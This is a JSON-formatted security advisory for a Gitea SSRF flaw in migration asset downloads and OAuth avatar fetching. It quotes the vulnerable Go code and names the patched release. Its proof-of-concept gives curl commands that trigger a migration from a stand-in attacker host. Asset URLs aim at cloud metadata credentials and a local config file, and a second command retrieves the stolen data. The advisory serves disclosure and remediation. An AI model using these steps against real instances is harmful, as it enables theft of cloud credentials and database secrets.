{"id":"CVE-2026-59765","aliases":["GHSA-2wm4-vwp6-v7xc"],"title":"Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata","summary":"Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata","severity":"medium","cwe":["CWE-918"],"vendor":"gitea","product":"code.gitea.io/gitea","ecosystem":"go","affected":["code.gitea.io/gitea < 1.27.0"],"patched":["code.gitea.io/gitea 1.27.0"],"published":"2026-07-21","updated":"2026-07-21","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc","references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc"},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0"},{"url":"https://github.com/advisories/GHSA-2wm4-vwp6-v7xc"}],"tags":["ghsa","go"],"ingestedAt":"2026-07-21T22:55:08.851Z","epss":0.00301,"epssPercentile":0.22917,"slug":"CVE-2026-59765","body":"## Overview\n\n### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go's `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n    u, err := url.Parse(uriStr)\n    switch strings.ToLower(u.Scheme) {\n    case \"http\", \"https\":\n        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering\n        return f.Body, nil\n    case \"file\":\n        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme\n    }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker's Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n  -H \"Authorization: token ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n    \"repo_name\": \"migrated-repo\",\n    \"repo_owner\": \"admin\",\n    \"service\": \"gitea\"\n  }'\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source\n\n## Affected packages\n\n- `code.gitea.io/gitea < 1.27.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `code.gitea.io/gitea 1.27.0`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}